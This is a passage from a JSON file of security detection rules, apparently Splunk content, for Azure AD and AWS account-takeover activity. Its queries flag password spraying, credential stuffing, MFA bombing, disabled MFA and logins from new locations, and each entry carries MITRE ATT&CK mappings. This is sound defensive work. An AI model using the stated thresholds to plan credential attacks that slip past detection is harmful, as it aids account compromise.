"APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Azure Active Directory High Risk Sign-in", - "description": "The following analytic detects high-risk sign-in attempts against Azure Active Directory, identified by Azure Identity Protection. It leverages the RiskyUsers and UserRiskEvents log categories from Azure AD events ingested via EventHub. This activity is significant as it indicates potentially compromised accounts, flagged by heuristics and machine learning. If confirmed malicious, attackers could gain unauthorized access to sensitive resources, leading to data breaches or further exploitation within the environment.", - "search": " `azure_monitor_aad` category=UserRiskEvents properties.riskLevel=high | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by src_ip, activity, riskLevel, riskEventType, additionalInfo | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_active_directory_high_risk_sign_in_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A high risk event was identified by Identify Protection for user $user$", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "Azure AD Authentication Failed During MFA Challenge", - "description": "The following analytic identifies failed authentication attempts against an Azure AD tenant during the Multi-Factor Authentication (MFA) challenge, specifically flagged by error code 500121. It leverages Azure AD SignInLogs to detect these events. This activity is significant as it may indicate an adversary attempting to authenticate using compromised credentials on an account with MFA enabled. If confirmed malicious, this could suggest an ongoing effort to bypass MFA protections, potentially leading to unauthorized access and further compromise of the affected account.", - "search": " `azure_monitor_aad` category=SignInLogs properties.status.errorCode=500121 | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime by user, src_ip, status.additionalDetails, appDisplayName, user_agent | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_authentication_failed_during_mfa_challenge_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user$ failed to pass MFA challenge", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD Multi-Factor Authentication Disabled", - "description": "The following analytic detects attempts to disable multi-factor authentication (MFA) for an Azure AD user. It leverages Azure Active Directory AuditLogs to identify the \"Disable Strong Authentication\" operation. This activity is significant because disabling MFA can allow adversaries to maintain persistence using compromised accounts without raising suspicion. If confirmed malicious, this action could enable attackers to bypass an essential security control, potentially leading to unauthorized access and prolonged undetected presence in the environment.", - "search": "`azure_monitor_aad` category=AuditLogs operationName=\"Disable Strong Authentication\" | rename properties.* as * | rename targetResources{}.type as type | rename initiatedBy.user.userPrincipalName as initiatedBy | stats count min(_time) as firstTime max(_time) as lastTime by user, type, operationName, initiatedBy, result | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multi_factor_authentication_disabled_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "initiatedBy", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "MFA disabled for User $user$ initiated by $initiatedBy$", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD Multi-Source Failed Authentications Spike", - "description": "The following analytic detects potential distributed password spraying attacks in an Azure AD environment. It identifies a spike in failed authentication attempts across various user-and-IP combinations from multiple source IPs and countries, using different user agents. This detection leverages Azure AD SignInLogs, focusing on error code 50126 for failed authentications. This activity is significant as it indicates an adversary's attempt to bypass security controls by distributing login attempts. If confirmed malicious, this could lead to unauthorized access, data breaches, privilege escalation, and lateral movement within the organization's infrastructure.", - "search": " `azure_monitor_aad` category=SignInLogs properties.status.errorCode=50126 properties.authenticationDetails{}.succeeded=false | rename properties.* as * | bucket span=5m _time | eval uniqueIPUserCombo = src_ip . \"-\" . user | stats count min(_time) as firstTime max(_time) as lastTime dc(uniqueIPUserCombo) as uniqueIpUserCombinations, dc(user) as uniqueUsers, dc(src_ip) as uniqueIPs, dc(user_agent) as uniqueUserAgents, dc(location.countryOrRegion) as uniqueCountries values(user) as user, values(src_ip) as ips, values(user_agent) as user_agents, values(location.countryOrRegion) as countries | where uniqueIpUserCombinations > 20 AND uniqueUsers > 20 AND uniqueIPs > 20 AND uniqueUserAgents = 1 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multi_source_failed_authentications_spike_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover", - "NOBELIUM Group" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "An anomalous multi source authentication spike ocurred at $_time$", - "risk_score": 42, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Azure AD Multiple Failed MFA Requests For User", - "description": "The following analytic identifies multiple failed multi-factor authentication (MFA) requests for a single user within an Azure AD tenant. It leverages Azure AD Sign-in Logs, specifically error code 500121, to detect more than 10 failed MFA attempts within 10 minutes. This behavior is significant as it may indicate an adversary attempting to bypass MFA by bombarding the user with repeated authentication prompts. If confirmed malicious, this activity could lead to unauthorized access, allowing attackers to compromise user accounts and potentially escalate their privileges within the environment.", - "search": " `azure_monitor_aad` category=SignInLogs operationName=\"Sign-in activity\" properties.status.errorCode=500121 properties.status.additionalDetails!=\"MFA denied; user declined the authentication\" | rename properties.* as * | bucket span=10m _time | stats count min(_time) as firstTime max(_time) as lastTime by user, status.additionalDetails, appDisplayName, user_agent | where count > 10 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multiple_failed_mfa_requests_for_user_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ failed to complete MFA authentication more than 9 times in a timespan of 10 minutes.", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure AD Multiple Users Failing To Authenticate From Ip", - "description": "The following analytic detects a single source IP failing to authenticate with 30 unique valid users within 5 minutes in Azure Active Directory. It leverages Azure AD SignInLogs with error code 50126, indicating invalid passwords. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges by trying common passwords across many accounts. If confirmed malicious, this activity could lead to unauthorized access, data breaches, or privilege escalation within the Azure AD environment.", - "search": " `azure_monitor_aad` category=SignInLogs properties.status.errorCode=50126 properties.authenticationDetails{}.succeeded=false | rename properties.* as * | bucket span=5m _time | stats count min(_time) as firstTime max(_time) as lastTime dc(user) AS unique_accounts values(user) as user by src_ip | where unique_accounts > 30 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multiple_users_failing_to_authenticate_from_ip_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Source Ip $src_ip$ failed to authenticate with 30 users within 5 minutes.", - "risk_score": 63, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Azure AD Successful PowerShell Authentication", - "description": "The following analytic identifies a successful authentication event against an Azure AD tenant using PowerShell cmdlets. This detection leverages Azure AD SignInLogs to identify successful logins where the appDisplayName is \"Microsoft Azure PowerShell.\" This activity is significant because it is uncommon for regular, non-administrative users to authenticate using PowerShell, and it may indicate enumeration and discovery techniques by an attacker. If confirmed malicious, this activity could allow attackers to perform extensive reconnaissance, potentially leading to privilege escalation or further exploitation within the Azure environment.", - "search": " `azure_monitor_aad` category=SignInLogs properties.authenticationDetails{}.succeeded=true properties.appDisplayName=\"Microsoft Azure PowerShell\" | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by src_ip, appDisplayName, user_agent | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_successful_powershell_authentication_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Successful authentication for user $user$ using PowerShell.", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure AD Successful Single-Factor Authentication", - "description": "The following analytic identifies a successful single-factor authentication event against Azure Active Directory. It leverages Azure SignInLogs data, specifically focusing on events where single-factor authentication succeeded. This activity is significant as it may indicate a misconfiguration, policy violation, or potential account takeover attempt. If confirmed malicious, an attacker could gain unauthorized access to the account, potentially leading to data breaches, privilege escalation, or further exploitation within the environment.", - "search": " `azure_monitor_aad` category=SignInLogs properties.authenticationRequirement=singleFactorAuthentication properties.authenticationDetails{}.succeeded=true | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by src_ip, appDisplayName, authenticationRequirement | `azure_ad_successful_single_factor_authentication_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Successful authentication for user $user$ without MFA", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure AD Unusual Number of Failed Authentications From Ip", - "description": "The following analytic identifies a single source IP failing to authenticate with multiple valid users, potentially indicating a Password Spraying attack against an Azure Active Directory tenant. It uses Azure SignInLogs data and calculates the standard deviation for source IPs, applying the 3-sigma rule to detect unusual numbers of failed authentication attempts. This activity is significant as it may signal an adversary attempting to gain initial access or elevate privileges. If confirmed malicious, this could lead to unauthorized access, privilege escalation, and potential compromise of sensitive information.", - "search": " `azure_monitor_aad` category=SignInLogs properties.status.errorCode=50126 properties.authenticationDetails{}.succeeded=false | rename properties.* as * | bucket span=5m _time | stats dc(userPrincipalName) AS unique_accounts values(userPrincipalName) as userPrincipalName by _time, ipAddress | eventstats avg(unique_accounts) as ip_avg, stdev(unique_accounts) as ip_std by ipAddress | eval upperBound=(ip_avg+ip_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1,0) | where isOutlier = 1 | `azure_ad_unusual_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "userPrincipalName", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "ipAddress", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible Password Spraying attack against Azure AD from source ip $ipAddress$", - "risk_score": 54, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Detect AWS Console Login by New User", - "description": "The following analytic detects AWS console login events by new users. It leverages AWS CloudTrail events and compares them against a lookup file of previously seen users based on ARN values. This detection is significant because a new user logging into the AWS console could indicate the creation of new accounts or potential unauthorized access. If confirmed malicious, this activity could lead to unauthorized access to AWS resources, data exfiltration, or further exploitation within the cloud environment.", - "search": "| tstats earliest(_time) as firstTime latest(_time) as lastTime from datamodel=Authentication where Authentication.signature=ConsoleLogin by Authentication.user | `drop_dm_object_name(Authentication)` | join user type=outer [ | inputlookup previously_seen_users_console_logins | stats min(firstTime) as earliestseen by user] | eval userStatus=if(earliestseen >= relative_time(now(), \"-24h@h\") OR isnull(earliestseen), \"First Time Logging into AWS Console\", \"Previously Seen User\") | where userStatus=\"First Time Logging into AWS Console\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_aws_console_login_by_new_user_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Suspicious Cloud Authentication Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ is logging into the AWS console for the first time", - "risk_score": 30, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect AWS Console Login by User from New City", - "description": "The following analytic identifies AWS console login events by users from a new city within the last hour. It leverages AWS CloudTrail events and compares them against a lookup file of previously seen user locations. This activity is significant for a SOC as it may indicate unauthorized access or credential compromise, especially if the login originates from an unusual location. If confirmed malicious, this could lead to unauthorized access to AWS resources, data exfiltration, or further exploitation within the cloud environment.", - "search": "| tstats earliest(_time) as firstTime latest(_time) as lastTime from datamodel=Authentication where Authentication.signature=ConsoleLogin by Authentication.user Authentication.src | iplocation Authentication.src | `drop_dm_object_name(Authentication)` | rename City as justSeenCity | table firstTime lastTime user justSeenCity | join user type=outer [| inputlookup previously_seen_users_console_logins | rename City as previouslySeenCity | stats min(firstTime) AS earliestseen by user previouslySeenCity | fields earliestseen user previouslySeenCity] | eval userCity=if(firstTime >= relative_time(now(), \"-24h@h\"), \"New City\",\"Previously Seen City\") | where userCity = \"New City\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | table firstTime lastTime user previouslySeenCity justSeenCity userCity | `detect_aws_console_login_by_user_from_new_city_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Compromised User Account", - "Suspicious AWS Login Activities", - "Suspicious Cloud Authentication Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ is logging into the AWS console from City $City$ for the first time", - "risk_score": 18, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1535", - "mitre_attack_technique": "Unused/Unsupported Cloud Regions", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect AWS Console Login by User from New Country", - "description": "The following analytic identifies AWS console login events by users from a new country. It leverages AWS CloudTrail events and compares them against a lookup file of previously seen users and their login locations. This activity is significant because logins from new countries can indicate potential unauthorized access or compromised accounts. If confirmed malicious, this could lead to unauthorized access to AWS resources, data exfiltration, or further exploitation within the AWS environment.", - "search": "| tstats earliest(_time) as firstTime latest(_time) as lastTime from datamodel=Authentication where Authentication.signature=ConsoleLogin by Authentication.user Authentication.src | iplocation Authentication.src | `drop_dm_object_name(Authentication)` | rename Country as justSeenCountry | table firstTime lastTime user justSeenCountry | join user type=outer [| inputlookup previously_seen_users_console_logins | rename Country as previouslySeenCountry | stats min(firstTime) AS earliestseen by user previouslySeenCountry | fields earliestseen user previouslySeenCountry] | eval 